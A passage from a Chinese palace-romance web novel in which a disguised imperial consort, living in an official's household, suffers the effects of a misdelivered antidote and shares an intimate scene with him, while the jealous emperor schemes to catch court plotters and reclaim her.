见裴谨随手泡了两杯茶, 动作行云流水赏心悦目,便拿起一杯饮了一口。 裴谨的目光落在戚妤身上一瞬,眸光微动,他便知道戚妤穿这身衬她。 戚妤之前是贵妃, 即便落到裴府,也没有委屈的道理。 裴谨这几日未去上值, 只在昨夜被突然叫到官署忙了一会儿案子, 即便如此, 他仍是察觉出了京中翻涌的风云, 众大臣都在观望宫中。 陛下已经三日没露面了,宫中又没传出任何消息, 自然人心浮躁。 况且,陛下当初登基, 正值无人可用之际, 便启用了许多旧臣,无论这些旧臣之前效忠于陛下的哪个皇兄,陛下通通不在意, 只看政绩能否帮他分忧。 也因此,即便五年过去了,朝中人心仍然不齐。 陛下对此视若无睹,只要不耽误政事他都可以宽宥。 然而此举无疑养大了一些大臣的心,能干大事的人心思不一定正,身居高位久了又未见过陛下的雷霆手段便被提到要职上,自然会认为是陛下需要他们,是他们成就了陛下。 无论面上多么恭敬,心中或许仍把陛下当成以前的七皇子来看待。 且登基后的两次科举已经为朝廷发掘了不少人才,如今朝中的新贵不少,陛下又有大力提拔的意思,新人占了位置,老臣自然倍感颓势。 这般,怎不叫人心急? 裴谨想到了一个京中的隐形人,宁王世子。 宁王是陛下的大皇兄,占了长子身份,弱冠之年被封宁王,住在京中的宁王府。 因宁王比陛下大许多,自然早早笼络了臣子,对皇位势在必得。 然而宁王死在了齐王谋反那一年,他率兵于京外抵御齐王,却被踏死在齐王的马蹄下,死的潦草,而后京中便被攻破。 陛下进京后只吩咐人为宁王敛了尸骨,入了宗庙,对宁王留下的一家子不闻不问。 也因此,宁王世子到现在还是世子,不过他的乌氏血脉倒是毋庸置疑。 裴谨在朝为官,单从他查到的消息来说,宁王世子有私联大臣的嫌疑。 现在陛下只未出现在人前三天,其他人有所猜测也不敢轻举妄动,但倘若是九天十天都不露面呢? 裴谨觉得陛下没有事,甚至是出宫了,见了戚妤,至于为什么没有露面,或许陛下也想趁此机会撒网捕鱼。 陛下的心思神秘莫测,裴谨现在也有些捉摸不透了。 饮罢茶,裴谨道:“夫人,我下午出府一趟。” 他去解决夜里吹箫的那个人。 戚妤点了点头,让裴谨带把伞。虽然没有下雨的迹象,但裴谨的朋友说了这两日有雨。 钦天监那里的话还是得听一听。 裴谨接过伞,带着人离开。 裴谨离开后不久,裴府的管家便带着账本找了过来:“夫人,这是府上这一个月的开销与进账,京中的铺子……” 戚妤坐在太师椅上,扶着头,她身前是一张长桌,摆着笔墨纸砚。 厚厚的账本放在最中间,她一页一页地翻着。 没想到,到了裴府,也逃不开看账本的命运。 现下裴谨不在,戚妤只好亲力亲为,而裴府的豪奢也在她面前一点点展开。 宫中。 赵婉仪婉拒了佩玖想让她歇息的建议,而是带着她在宫中四处走着。 醒来后,她便发现金簪不见了,那日她下水救戚妤的冒失之举,她现在想来都不可思议。 明知自己水性不好,却还是跳入了水中。 不过正因如此,她才没有在乌时晏面前暴露。 赵婉仪不觉得自己那日能凭着一支金簪杀了乌时晏,见到乌时晏杀人的模样,她便明白了为什么想杀乌时晏的人那么多,前仆后继,可还是失败了。 此事得徐徐图之。 除此之外,赵婉仪也向昭阳殿的宫人旁敲侧击了戚妤平日的习惯,了解的越深,她心跳的就越快,便是连佩玖都感受到了她对戚妤的在意。 于是她歇了心思,准备先将皇宫大致摸熟。 她虽然常常入宫,可去的最多的是太后的长信殿,其他地方从未涉足。 至于皇帝寝宫那里,赵婉仪醒来后,佩玖就傻乎乎将一切和盘托出了,让她不要出纰漏,不然娘娘不在宫中,而在臣子府的事就瞒不住了,这于娘娘的名声有碍。 中间更是牵扯出田文善,田文善把控寝宫,心知肚明她是谁,她便是想趁着乌时晏重伤出现在他面前也是不能的。 不过能入宫,比起之前已经好太多了- 裴谨是傍晚回来的,戚妤刚欲歇下,准备让秋葵将灯灭掉,裴谨便携着一身夜风进来。 戚妤听到动静,朝裴谨看去。 裴谨问:“夫人还未睡?” 戚妤站起身:“正要去睡。” 裴谨温声道:“我去书房处理一些事,夫人先睡。” 实际上根本没什么事,他查出隔壁的宅子是落在国舅薄行舟名下,薄行舟是陛下生母的亲弟弟,薄家人丁单薄,如今只剩下国舅一人。 因薄行舟的年龄比陛下还小三岁,常被人叫小国舅。 陛下与小国舅明面上的联系很少,薄行舟又低调,很难让人想到这个人,但若论陛下最信任的人,非薄行舟莫属。 宅子落在薄行舟名下,说是陛下的更为恰当。 那昨夜吹箫之人便水落石出了。 陛下想做什么,旁人是一点办法也没有。 裴谨知道后,静静坐了好一会儿,派人又告了几日假,并告诉管家若有官员上门拜访,一律拦下。 他不欲参与进最近的京中事。 裴谨说起书房,戚妤便心里一跳,蘅芜院的书房可就那一个。 她劝道:“夜深了,裴郎去书房无人照料,若事情没那么紧要,不如在屋子里处理,我还能给裴郎侍奉笔墨。” 戚妤就站在那儿,温温柔柔,眸光清澈地看着裴谨。 让人不忍心拒绝。 裴谨深知戚妤面对他一举一动都是有目的,于是稍微一想,便明白了。 裴谨脸上一空:“好。” 他转身去戚妤下午处理账本的桌椅处。 戚妤悄然跟上,裴谨沉浸在自己的情绪里并未注意到,直到视线内出现一双柔荑正不疾不徐为他研磨,这才微顿。 戚妤安安静静地低着头,神色柔顺认真。 真是让人生不出丝毫脾气……裴谨在心里喟叹一声,按住戚妤的手:“你去睡。” 戚妤闻言,没带犹豫地应下,不着痕迹地抽出手,笑盈盈地看向裴谨:“裴郎,你也早些睡,莫要太劳累。” 裴谨已经没有脾气了。 戚妤离开,裴谨坐在椅子上,平心静气地开始默写文章。 两个时辰后,裴谨将东西收起来,准备在榻上凑合一晚,他习惯性地去看了戚妤一眼。 戚妤没有睡着,她不知怎么了,身体变得很奇怪,腰肢酸软不说,身上还微微的热,心里也不平静,像有根刺一样,扰的她根本睡不着。 她闭上眼,气息紊乱,脸上泛起潮红,像可口的苹果,脸颊鼻尖都渗出了薄薄一层汗。 偏戚妤自己没意识到,她在抵抗着心里的燥意。 裴谨脚步一顿,语气迟疑:“夫人?” 戚妤的样子不太像是生病。 戚妤睁开眼,眼眸润着一层水光,瞧着颇为可怜,她支起身子,闭上眼叹了口气:“裴谨,你给我喝了什么?” 她这一下午,就喝了裴谨泡的茶。 晚膳她是和秋葵一起用的,不可能有问题。 裴谨上前扶住戚妤,冷静道:“只是热水泡的茶。” 他泡茶的手艺是跟父亲学的,今日手边正好有茶具,他又一时冷静不下来,便泡了两杯茶。 裴谨:“那茶我也喝了。” 戚妤已经不想听裴谨说了什么,在裴谨扶过来的那一刹那,即便隔着一层柔软的寝衣,她也感觉到了从外到里的凉爽,似有一股清泉流入体内,浇灭了心里莫名升起的小火苗。 戚妤认定了是茶的问题,她迷茫问:“这茶怎么管女不管男?” 她默默反握住裴谨的手,甚至有想往他怀里靠的冲动。 她闭上眼按耐了下来。 裴谨不知道该做何解释,因为他不受影响,此时恰给了他认真端详戚妤的机会。 她卷翘的睫毛上挂着几滴泪珠,脸颊柔软绯红,唇瓣也红的像碾碎了的花瓣汁液,未施粉黛却尤为动人。 且戚妤此时好像很喜欢碰他,落在他手背上的手比以往贴的都紧,他亦清晰感受到她手心出了一层汗,即便湿润,也不曾放开。 方才还避开了他的手呢。 裴谨试探性地将戚妤搂进怀里。 戚妤一僵,但渐渐地放松下来,只是心中仍有忧虑。 不可以…… 裴谨鼻尖尽是戚妤发丝的香气,他语气极轻道:“夫人是还在怨我不举?” 戚妤顾不得身上的燥意,震惊地睁大了眼。!! 因为惊讶,她拉住裴谨衣裳的那只手忽然失力,更栽进了裴谨怀里,耳朵贴在他胸膛上,听着裴谨一下又一下强劲跳动的心跳声。 戚妤声音小的几乎听不见:“没有。” 不忍心伤了男人那颗脆弱的心。 裴谨问:“那夫人为何成亲到现在都不愿意与我同床共枕?” 戚妤嘴巴微张。 怪不得有时候赵婉仪与裴谨的气氛会那么紧张。 裴谨实在是对不起赵婉仪。 不管了不管了,现在只要是个男人,对戚妤来说都是清凉的好药。 她这时候还有什么可挑剔的? 戚妤攀附到裴谨身上,脸大胆的贴在裴谨的脖子处,长舒一口气:“妾身是愿意的。” 戚妤温热的气息喷薄在裴谨皮肤上,他那处皮肤顷刻间便红了。 裴谨将衣裳脱下,随手扔在地上,将戚妤搂进怀里,轻拍着她的背。 而戚妤,肌肤大面积与裴谨贴在一起,她终于感受到了舒服,腰不酸了,心不热了,像一只找到猫薄荷的猫,肆意与裴谨贴在一起。 她终于能好好睡下了! 裴谨身上的气息清浅如竹。 抱着这种想法,戚妤很快入睡。 翌日一早,戚妤身上的怪异便暂歇了下去,但她还没想到这一层,因为有东西在抵着她。 外面晨光大盛,裴谨不知道什么时候才睡下,直到现在都没醒。 戚妤低头,找抵着她的东西,因为裴谨说过他不举,便未往那个方向去想,等发现是什么时,整个人宛如煮熟的虾子一般,连忙从裴谨的怀里退出来。 她睡觉时穿着薄薄一层寝衣,只露出锁骨处的肌肤,直到裴谨上床也没脱下,只是迫不及待钻进他怀里。 而裴谨,被子遮下的身材,宽肩窄腰,块垒分明但不显壮硕的腹肌,是褪了衣裳睡的,所以她才会贴的那样舒服。 这不是重点,重点是,裴谨……根本不像他说的那样不举。 在戚妤离开怀里时,裴谨便醒了,他不记得昨晚什么时候睡,但总之很迟,他看了戚妤很久,因此醒来后反应也略微迟钝。 他弄清了状况,拿被子轻轻一遮。 早不支晚不支偏偏这个时候支。 裴谨平静道:“遇见夫人,居然好了。” 第32章 戚妤脸上的温度稍稍了降了下来。 她竟然顺着裴谨的话思考起这种可能, 毕竟他可是女主的夫君,若是没有缺陷,女主怎么会变心? 且为了让男人守身如玉,一直不举的人只对一个人举是个很稀松平常的设定。 不过裴谨不举, 恐怕是为了让女主守身如玉才对。 但是……这个说法实在是太烂了, 戚妤很想冷笑一声, 但想了想她的身份是裴夫人, 面对丈夫终于举了, 喜极而泣都是轻的。 戚妤牵起一丝笑:“是吗?真是恭喜裴郎了。” 裴谨默了一瞬:“同喜。” 戚妤眨了眨眼, 瞬间领悟到了裴谨的意思。 脸上刚降下去的温度又有回升的趋势。 裴谨说完这句话便起身了, 拿起架子上的衣裳去沐浴更衣。 戚妤重新躺回床上,不知道在想什么。 早上的插曲似乎在两人心中都没留下什么痕迹,用过膳后,戚妤与裴谨坐在院中的木藤架下品茶。 裴谨拿出昨天泡茶的茶具, 重新泡了两杯。 戚妤对这东西有所畏惧,见裴谨将他那杯喝完, 她也没碰自己这杯。 她主要想验证一下昨夜的古怪是否与茶有关。 看看若是不喝茶, 身子还会不会有异。 戚妤平素是机敏的, 且身边有一个林七, 便是有人想调换她入口的东西也难如登天。 况且他们在蘅芜院,接触到的人和物很少。 裴谨就更没有必要做这种事, 昨天她只觉得裴谨的身子很有吸引力,但若没有裴谨, 她也是能忍过去的。 戚妤握着茶杯, 轻轻叹了口气。 夜里还好,她往裴谨身上扑不显得那么突兀,若是白天, 真是羞也羞死了。 戚妤心如止水的想。 裴谨道:“别忧虑,我让人去请大夫。” 戚妤昨晚的样子确实像是中了什么不好的东西,可裴府,怎么可能会混入这种药? 她最近接触的人,唯有陛下有这个可能了。 而且时间也对得上。 裴谨原想过陛下为什么见了戚妤,却没将人带走,若是告诉了他,他也必会跟着遮掩,不叫消息泄露。 能这么放心地将人放在裴府,唯有一种可能——陛下只把戚妤当作笼中雀。 兴致来了,逗弄两下,没了兴致,便撂开手。 所以不在乎她在裴府会多彷徨失措。 裴谨见过太多不把女子当成人来对待的纨绔,他们会给跟了他们的女子喂些助兴的药,只为了能多点欢愉。 看着眼前的戚妤还在想问题出现在了哪儿,一无所觉的样子,裴谨脸色很不好看。 他并不想这般猜忌圣上,他只是觉得,不能这样对贵妃。 戚妤想了想,也只有请大夫这个方法了,便点了点头:“辛苦裴郎了。” “这不算什么,我应该做的。” 在大夫登门之前,厨房先送来了些糕点。 还不待戚妤问,秋葵便快语道:“糕点是大人吩咐厨房准备的。” 秋葵笑起来,很为大人体贴夫人而感到高兴。 戚妤看向裴谨,见他神色如常,便用了两块,甜而不腻,很合她的口味。 片刻后,下人进来禀报孟大夫到了。 戚妤起身去外间,裴谨落后几步。 裴谨伸手扶戚妤坐下时,孟舍也提着箱子进来。 他恰好看见裴谨站在戚妤身边,虚扶着戚妤的肩膀。 动作亲密自然,俨然一对璧人的姿态。 孟舍脚步一顿,心道这可不对。 昨天一天,陛下忽然变得很好说话,而只有在早上,陛下离开了一些时候,这么短的时间,恐怕只够在裴府呆上一会儿。 到裴府找谁不言而喻,总不能出宫了还关心朝政,敲打臣子。 孟舍也紧跟着将贵妃娘娘服过解毒的药的事说了,他不敢隐瞒,将中间所有波折说的一清二楚,静静等候陛下发落。 陛下却只道:“三五天吗?” 现下已经过去两天了。 孟舍今日离开宅子前,陛下的住处已经布置了起来,谁能想到,外表肃静的高门深宅,主院竟是红彤彤一片,俨然大婚的场景。 戚妤见到孟舍也很惊讶。 竟然是孟舍。 他不应该在乌时晏身边吗? 戚妤看向裴谨,裴谨道:“孟大夫,这次还要劳烦你了。我夫人身上很不舒坦,不知是碰了什么东西。” 戚妤配合着将手伸出来,秋葵拿出一条干净的帕子搭在她腕上。 她微微垂眸,在思索着孟舍过来的目的,他来裴府还不止一次,两日前应是他来裴府为她治病,而那时乌时晏还在宫中昏睡,自不可能是乌时晏吩咐的。 但戚妤对孟舍实在知之甚少,也就在温室殿见过一面。 自然怎么也想不透。 孟舍坐下,他现在只能装作没认出贵妃娘娘。 他觉得陛下再不强势些,再将贵妃放在裴府,真要被姓裴的给啃了。 孟舍伸出手为戚妤诊脉。 一息、两息、三息。 孟舍僵硬地将手拿走,握住胡须,短短三息,他却觉得过了有一辈子那么长,他怎么就没想到,破厄花既然要入体才能起作用,必然会影响人的身体。 身子有变化是必然的。 孟舍额上冷汗直下,但因为神情够慎重,并没有让人察觉出他的心虚。 裴谨的心跟着紧了紧,很难解吗? 孟舍对裴谨道:“能否让我单独与夫人聊一聊?” 裴谨看向戚妤,见她并不排斥,便道:“好。” 戚妤收回手,让秋葵也一起离开。 裴谨与秋葵前后离开,孟舍便迫不及待低声哭诉道:“贵妃娘娘!” 戚妤讶然:“你认出我了?” 她还以为只有乌时晏知道她在裴府。 孟舍道:“本来没有认出来,是田文善提点后才发觉,所以原本应由裴夫人喝的破厄花熬煮的汁水,落水的第二天晚上,我上裴府为您诊脉,说是驱寒的药,被裴大人喂给了您。” 戚妤听罢便明悟了,怪不得乌时晏要来找她,原来是她误服了应由赵婉仪喝的药。 这种解药恐怕只有一副,用过就没了。 乌时晏不得不来。 但是……这种解药起作用应该不必轻咬那里吧。 即便一天过去了,戚妤想起昨天在书房,仍觉得不自在,身上的那块肌肤都快要烫起来了。 孟舍决定将陛下在做的事瞒一瞒,毕竟陛下除了布置主院,还秘密召集了萧从和护卫皇宫的将领,那些人都是跟陛下平过乱的人。 若是贵妃一时兴起,要去看一看,被陛下慢待了就不好了。 且没有陛下的命令,他也不敢戳破此事,还是要陛下亲自来给娘娘说为好。 戚妤问:“所以我身上的变化是喝了那朵花的缘故?” 孟舍:“是。” “但等娘娘与陛下解了毒后,娘娘的身体会比常人还要好。” 不用再吹个风就会生场小病,便是连暗伤都能一块解决了。 戚妤知道这个,当初温室殿听见他们讨论了,她开门见山问:“陛下什么时候有空,或者说下次我身上发作是什么时候?” 孟舍沮丧道:“微臣不知。” 他也是有官身在的,不过只跟着陛下,不轻易拿身份示人。 戚妤请孟舍喝了茶,与他商议好怎么说,孟舍便去将门打开,将准备好的说辞讲给了裴谨听。 裴谨一心二用,一边听着孟大夫的话,一边将视线落到坐在椅子上拨弄茶杯的人身上。 让下人将孟大夫送走后,裴谨进去,对戚妤道:“孟大夫说没什么大事,之后饮食上谨慎些便好。” 戚妤点头,唇边的笑意很淡,眼眸中露了丝凝重,不过很快散去。 她也只能走一步看一步了。 不过她不是个能委屈自己的人,若再发作起来,乌时晏在她身边还好,若乌时晏不在,她也不能硬生生熬过去。 裴谨却觉得戚妤此时很不好,于是他道:“我想去睡会儿,夫人陪我一起。” 戚妤纳闷:“我不困。” 裴谨一本正经道:“夫人不在身边,我睡不着。” 戚妤疑惑,昨天裴谨不还说没有同床共枕过么,若算下来,他们就昨天睡了一次。 哪儿来的没了她就睡不好。 还不待戚妤拒绝,裴谨再次道:“夫人,我困。” 他靠近戚妤,戚妤又嗅到了他身上属于竹子的青叶香味。 她想,裴谨上值或常住的地方十有八九种着竹。 戚妤被裴谨握着手腕带到了床上,秋葵见此放下卧房的纱幔,退了出去。 裴谨解下床帐,余光见戚妤已经上了床,在床里的位置找了个地方躺好,样子乖巧的不得了,他的心里便很爽利。 戚妤本来没想睡的,可躺下便困了,眼皮沉甸甸的,不过这也正常,昨晚她可少睡了两个时辰…… 裴谨再去看戚妤时,发现说着不困的人,此时已经捏着被角,呼吸均匀地睡了过去。 裴谨哑然,没有碰戚妤,也睡下了。 秋葵没有进来打扰,她在屋外候着,想随时听吩咐。 但蘅芜院太过僻静,此时院中又吹着微风,她竟不知不觉眯起了觉。 直到屋内的啜泣声惊醒了她,是夫人的声音。 除此之外,还有大人在轻声哄着,秋葵从未听过大人这么温柔的哄人。 秋葵连忙问:“大人,夫人,可需奴婢进去?” 屋内抓着被子的戚妤摇了摇头,裴谨道:“不必,你先下去吧。” 秋葵听命离开,只是一步三回头,心里忧心不已。 卧房床上,戚妤趴在床里,泪眼朦胧,满是水痕的脸上泛着红。 她没有想到,第二次竟来得这么快这么汹涌,让她丝毫没有抵抗力,只想止痒…… 她一手抓着被子,一手探进被子里,水润润的眼眸看向裴谨。 裴谨的模样俊逸,君子一般品行,现在明知道她在干什么而脸色狼狈的样子更是勾得人心里泛起涟漪。 戚妤心志本来就不坚定,裴谨的模样是她最好的疏解。 戚妤闭了闭眼,稍微唾弃了自己一下。 裴谨见此,克制道:“夫人,我来帮你吧。” 裴谨的手瞧着就很厉害,唇瓣也不错,但戚妤不想用他,她又不是他真正的夫人。 可是好难受,自己弄根本没什么效果。 戚妤青丝散在身后,配上那张因情动而隐隐崩溃的脸显得万分妖冶,没有人会不心动。 戚妤眼神失了焦,她声音极淡极轻道:“不许用你的手,也不许用你的唇,更不许用你刚好的玩意儿。还来吗?” 裴谨听到自己清晰的回答:“来。” 戚妤诧异极了,可她根本没法冷静思考,只想灭了这团火。 裴谨离开,又很快回来,露出手中圆柱形的玉质印章,还挂着穗子。 裴谨道:“这是我小时候做文章时自己刻的玉章。” 彼时小小的自己一只手都难以握住,现在他拿出来放在手中,却像一个解闷的东西。 却也是一个解闷的东西。 裴谨曲膝上前,吻住了戚妤的唇,他的冷静与戚妤的热燥形成了鲜明对比。 明明玉章在裴谨手心握了有一会儿,可碰到戚妤的肌肤时,仍冷得她一颤。 戚妤眼神涣散,她一只手抓住了裴谨的一缕头发,每每他要起身时,她就轻轻往下一拽。 还没结束啊,裴郎。 …… 第33章 乌时晏今早收到裴谨连着告假数日的消息时, 并未分出多余的目光,因为他正处理着皇宫的事。 只以为裴谨是察觉出了京中的变动,不想蹚这趟浑水这才告假。 晌午,孟舍回来, 马不停蹄告诉了乌时晏, 因为破厄花而导致了戚妤身子的变化。 即便孟舍说得隐晦, 但乌时晏还是明白戚妤的身体变敏感了。 乌时晏心神不宁起来, 因为和戚妤亲密接触过, 他便隐晦察觉出了戚妤对那事的随性。 不过因为戚妤只可能与他有床榻之欢, 他甚至为之欢喜, 他喜欢她的直白贪欢。 但若是真逼急了她,身体的变化折磨得她受不了,戚妤很可能不会顾虑到他。 孟舍紧接着道:“这种药对人的作用虽然在古籍上没有详细记载,但这种时候陛下应该呆在娘娘身边, 寸步不离才是。” 可极不巧的事,乌时晏现下手上有放不开的事。 孟舍知道, 所以他才叹气, 没有将在裴府见到的那一幕告诉陛下。 乌时晏那日醒来后, 一路到了裴府, 见到窗内两人的相处,即便知道那是虚情假意, 两人也未有任何逾矩,他也恨不得立刻将阿妤带走。 只是当时的他只顾得听阿妤的话, 从裴府离开泡澡看大夫让她安心。 第二天再去时情形已然变了, 他没料到会有人那么按耐不住,打探出他中了不治之毒,最多八日就会死去, 于是便有了动作,想逼宫从他这里接手皇位,可即便是跳梁小丑,若能钓出蠢蠢欲动的臣子,也算是功德一件。 而只有宫中的太后、贵妃,宫外的公主仍如往常一般,才会叫人觉得皇上是真的中毒了,才能更大胆地去谋划。 所以乌时晏便将计就计,没有将两人换回来,只等事成后以太后的名义召“裴夫人”进宫,再各归其位。 现在宫中的贵妃只是个靶子,若他是觊觎皇位的,以求稳妥,进宫的第一件事一定是控制住贵妃,再行逼宫之事。 毕竟,天子的后宫可只这一位名副其实的妃子。 当然,赵婉仪在宫中若是受了伤,受到惊吓,乌时晏亦会给她补偿。 戚妤在裴府,没有人会将目光落到她身上。 这便是乌时晏为戚妤做的打算。 至于戚妤与裴谨之间,短短三四日,乌时晏不觉得会有什么。 况且,阿妤是知道他爱她的。 且戚妤身边有林七,暗卫的职责想必林七会很明白。 但现在,情况有变,乌时晏不确定了,他要尽快安排好相关事宜,去裴府见阿妤,尽早呆在她身边- 林七确实很明白自己的职责,自她被戚妤选中,被陛下派来保护贵妃,她便只有贵妃这一个主子了。 上次落水是她的失职,类似的错她不会再犯第二次。 贵妃想做的事,她只有促成,而没有理由阻拦。 暗卫不能背主,尤其贵妃还只有她一个暗卫。 屋内的声音已经停下很久了,林七在房顶上望向远处的屋脊,有她在,没有人会来打扰贵妃的好事。 只要裴大人不说,就算是陛下也不会知道- 戚妤累极了,也疲乏极了,她将裴谨推开,兀自面对着床里睡去。 裴谨没有乌时晏好抱,第一次时裴谨对她有莫大的吸引力,她才喜欢贴他,可这次她是清醒着结束的,自没有再滚进他怀里,交颈而眠。 且她好困啊,恨不得睡个三天三夜,怎么可能有心力去应付裴谨。 因此,裴谨清晰感受到,他被嫌弃了。 在他手上还有她味道时就被嫌弃了。 裴谨看了一眼戚妤,又盯着自己的手掌,他手上还握有玉章,滑腻腻的,尾端的穗子也被打湿了。 他低头,嗅了嗅,耳廓悄然红了。 戚妤方才的模样在脑海中闪过。 裴谨想,他得帮戚妤,无论是保守住这个秘密还是什么,单凭她方才对他交托的信任。 从戚妤对着他哭,裴谨便发现了,戚妤的任情纵性。 她喜欢顺其自然,她需要时,这里没有陛下,便是他也是可以的,如孩童一般,不考虑这么做的后果。 但却叫人忍不住为她多考虑几分。 裴谨起身去浴室,净了手,将玉章洗干净,放入锦盒中,便又回到了床上。 在洗玉章时,他心里就迫切想要戚妤唤他的名字。 不要什么裴郎,只要裴谨。 裴谨扶上戚妤的肩头,询问道:“夫人,我是谁?” 他不知疲倦,执拗地问了一遍又一遍。 戚妤半睡半醒间,不耐烦地蹙了蹙眉,都叫夫人了,她能认不出来吗? “裴谨,是裴谨。”她带着残留的哭腔道。 戚妤抓住裴谨落在她脸颊上的手,趁他毫无防备,泄愤地咬了一口。 扰人清梦! 戚妤咬人并不疼,裴谨脸上连一丝痛意都没有,甚至是心满意足地笑了起来,他伸手摸了摸戚妤上颚的尖牙,剐蹭着指腹。 而后轻声哄着她入睡。 下午申时初,戚妤醒了过来,她在秋葵的服侍下去沐浴,沐浴过后,她坐在凳子上,另有丫鬟给她擦发。 她手里把玩着府上刚送来的耳坠,是翠绿的叶子形状,上面有宝石、珍珠、金蝴蝶装饰,形成了一个奇异的平衡,既不显得杂乱,又不呆板无趣。 戚妤醒来时,裴谨便不在了,说是官署有事,离不开他。 离开前特意吩咐了人给她送来了这副耳坠。 该说不说,裴谨确实够体贴,懂得用精巧的东西讨人欢心。 因为穿越到现在,戚妤最不缺的就是钱,因此对金银早没原来那么喜欢了,相比之下,她更喜欢有小巧思的东西。 戚妤让人将耳坠放好,她暂时不想戴它。 裴谨被叫走的借口,让戚妤瞬间想到了乌时晏,上次他来,裴谨就是这样被叫走。 但戚妤没急着找乌时晏,而是先去洗掉身上汗津津的味道。 在此期间,她唤来林七,得知了乌时晏在哪儿。 毕竟现在是白天,蘅芜院纵使人少,也不会发现不了突然出现在院中的男子,所以只能约定好地方,她去找。 擦干并重新挽好发后,戚妤带着秋葵出门,从蘅芜院的角门出去,入眼便是一个小花园。 这个花园独属于蘅芜院,寻常人来不了,且只会在上午进行洒扫。 地方虽小,可也有桥有水,遍布假山假石,路两旁还有应季的花卉。 蘅芜院到底是裴谨住的地方,再怎样叠山理水都不为过。 戚妤看见了一角衣袍,认出是乌时晏的,这才让秋葵回去取来她那件莲青色披风。 秋葵离开,戚妤向前走去。 “阿妤。” 戚妤还没看清人,便被搂进了怀里,乌时晏的怀抱透着凉意,凉的戚妤最后一点困意都没有了。 她懒洋洋唤道:“陛下。” 她很难精神抖擞起来,毕竟爽过之后人很容易进入贤者状态,四大皆空,看破红尘。 乌时晏闻言一愣,这种无精打采的状态好熟悉。 他迫切想验证些什么,低头吮了一下戚妤的唇瓣,然后观察她的反应。 戚妤自然毫无要回应的意思,看他的眼神像在看一道过了膳点的菜一样,透露着可惜。 乌时晏隐隐知道,他来晚了。 不会的不会的,阿妤是喜欢他的。 戚妤疑惑问:“陛下,你怎么了?” 她是真没觉得自己的状态有什么不对劲,然而乌时晏的神色却透着可怖,隐有狰狞闪过。 戚妤出声的下一瞬,就被乌时晏紧紧嵌进了怀里,她耳畔传来乌时晏咬牙切齿的声音:“戚妤,你好的很!” 戚妤……更茫然了,他叽里呱啦说什么呢,还亲不亲了? 乌时晏要疯了,他要检查她身上有没有被裴谨那个狗留下的痕迹,他要把她锁在温室殿,热的她只能从他嘴里讨水喝,他还要打一条长长的锁链,只允许她在温室殿里活动,谁都进不来,只有他能进去。 乌时晏快要恨死戚妤了。 她怎么能……怎么可以? 有天子的喜欢还不够吗,为什么还要被一个臣子引诱,且那裴谨,有真正的妻子啊! 而戚妤,本想静静地靠在乌时晏怀里,可他的手臂越箍越紧,禁锢的她动弹不得,她微微蹙眉,不管三七二十一地咬住了乌时晏的喉结。 乌时晏的思绪一下子被打断了。 脑海中只剩下一个念头,戚妤就是个无赖。 戚妤见此便知道有效果,她趁机挣脱开来,不仅没有离乌时晏远远的,反而捧住了他乌云满面的脸庞,吻上了他的唇。 她极富耐心地细细描摹着。 她不知道乌时晏为什么生气,但可以续上方才断掉的吻。 乌时晏发现,他竟沉溺于这个补救般毫无诚意的吻下。 微风轻拂而过,他整颗心如沐春风。 他同时犹豫地想,这么快原谅她会不会不太好? 可阿妤怎会有错。 乌时晏伸手,抚上戚妤的发丝,他的手稍微一按,刚移开了唇的两人,额头便轻轻碰在了一起。 乌时晏声音有些飘,亦有些颤,透露着丝丝缕缕的委屈道:“阿妤,你没有戴手绳。” 戚妤闻言目光落到乌时晏的手腕上,上面还戴着那天晚上她随手买来赠予他的彩绳。 而她的那一个,应是落在了玉照院。 她现在手腕上的是一只白玉镯。 戚妤懒散中透着诚恳道:“陛下,我的错,我明天就把它找到戴在手腕上。” “嗯。” 乌时晏再次搂住了戚妤。 看,她认错了,还有什么理由不原谅? 第34章 在乌时晏选择岔开此事时, 便意味着他只能佯装不知。 可无论面上怎么顺从委屈,轻吻着戚妤的面颊,他心里的滔天戾气仍然存在,强压不下。 乌时晏再次吻上戚妤的唇, 碾磨着。 可戚妤的回应总那样孱弱, 乌时晏闭了闭眼。 戚妤不知道, 她越是无力承受, 乌时晏心里的凶厉就越会增多一分, 她只是觉得乌时晏今日十分强横, 将她口中的津液吃的一丝不剩, 让她无力仰头,将身体的重心都靠在他身上。 只是与往日有些不同罢了。 戚妤这般想着,默默握住了乌时晏的手掌,有技巧的轻轻捏着。 乌时晏被这个小动作取悦到了, 他原本是强硬地占有着戚妤的唇瓣,是他的, 全是他的, 但慢慢地, 他身心都沉醉于这个吻, 动作也温和了许多。 乌时晏睁开眼,对上戚妤明澈的眼眸, 眸中有淡淡的疑惑,但更多的是柔顺。 似乎他对她做什么都可以。 乌时晏心尖猛颤。 他再次将戚妤抱进怀里:“阿妤, 朕离不开你。” 戚妤心里有些微触动, 将手放到他的背上。 她什么也没说,任由乌时晏静静地抱着她。 直到估摸着秋葵快回来了,戚妤才道:“陛下, 你该走了。” 是,他是需要走……乌时晏面无表情地想着,他放开戚妤,低头,脸上已然换了一副温和面孔,他道:“朕晚上会再来,等窗响的时候你将朕放进去。你身子有变,朕不放心。” “可是,裴谨那里……” 乌时晏轻声打断,握住戚妤的手,笃定道:“他不会回来。” 将戚妤带走有什么意思,无论她是在裴府还是在他身边,她都是他的。 他会按照原计划等一切事了,再将戚妤接回宫中。 至于裴谨,就让他一直呆在官署里,连回裴府的空都没有好了。 而他放在蘅芜院中的夫人,夜里自然有人陪着,不会有片刻孤寂。 戚妤应好,催促道:“陛下你快些走吧,秋葵真的要回来了。” 就算她将那件莲青色披风特意压在柜子的最下面,秋葵会费些时候才能找到,可她与乌时晏呆在一起已经很久了,秋葵随时都会回来。 乌时晏垂眸,不作声。 被发现好似也没什么大不了的。 耳边远远传来秋葵的脚步声,戚妤的手还被乌时晏紧紧握着,她叹了口气,推开乌时晏,用帕子擦唇上的湿意,整理着衣裙,往另一个地方走去。 秋葵进到园内,扫了一眼,便发现了戚妤,她笑着上前:“夫人!” 戚妤面对着湖水,秋葵刚走近便感觉到了风的凉意,她抖开披风给戚妤披上,系好,而后握住戚妤的手。 “夫人的手……”秋葵刚想说夫人的手冷,奴婢给暖一暖,谁知握上去却发现截然相反。 夫人的手不仅不冷,还暖烘烘的,像被人握了许久。 秋葵没有在意,她看着戚妤的手,十指纤纤,白皙柔嫩,心道,怨不得大人会那般怜惜夫人,实在是夫人身上无一处不好。 她恋恋不舍松开了戚妤的手。 戚妤却反牵起秋葵的手:“我们去石椅那边坐一坐。” 那边的花开的最好。 秋葵脸上再次漫上笑意。 另一边,裴谨还未将安排给他的卷宗看完,便发现胥吏又搬来了一摞,看厚度,实在是要累死他的态势。 裴谨问:“这是谁交给我的?” 